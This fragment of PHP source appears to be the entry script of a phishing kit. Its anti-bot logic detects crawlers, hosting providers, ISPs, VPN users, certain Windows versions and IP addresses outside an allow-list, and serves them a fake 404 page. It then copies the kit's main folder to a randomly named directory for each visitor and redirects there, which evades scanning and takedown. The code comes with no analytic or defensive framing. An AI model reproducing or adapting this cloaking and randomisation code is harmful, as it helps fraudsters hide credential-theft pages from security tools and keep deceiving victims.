getIP(); $settings = $comps->settings(); $comps->createToken(); if (!$comps->localhost($_SESSION['ip'])) { if ($spider->checkSpider()) { echo $antibot->throw404(); die(); } if ($antibot->checkHost()) { echo $antibot->throw404(); die(); } if ($antibot->checkISP()) { echo $antibot->throw404(); die(); } if ($comps->getOS() == "Windows Server 2003/XP x64" || $comps->getOS() == "Windows 2000") { echo $antibot->throw404(); die(); } if (isset($settings['VPN']) && $settings['VPN'] == "on") { if ($antibot->checkVPN() == "Y") { echo $antibot->throw404(); die(); } } if (!$antibotList->ipPass($_SESSION['ip'])) { echo $antibot->throw404(); die(); } } $DIR=md5(rand(0,100000000000)); function recurse_copy($home,$DIR) { $dir = opendir($home); @mkdir($DIR, 0777); while(false !== ( $file = readdir($dir)) ) { if (( $file != '.' ) && ( $file != '..' )) { if ( is_dir($home . '/' . $file) ) { recurse_copy($home . '/' . $file,$DIR . '/' . $file); } else { copy($home . '/' . $file,$DIR . '/' . $file); } } } closedir($dir); } $home="main"; recurse_copy( $home, $DIR ); $comps->headerX("$DIR"); $file = fopen("temp_.txt","w"); fwrite($file, $DIR); ?>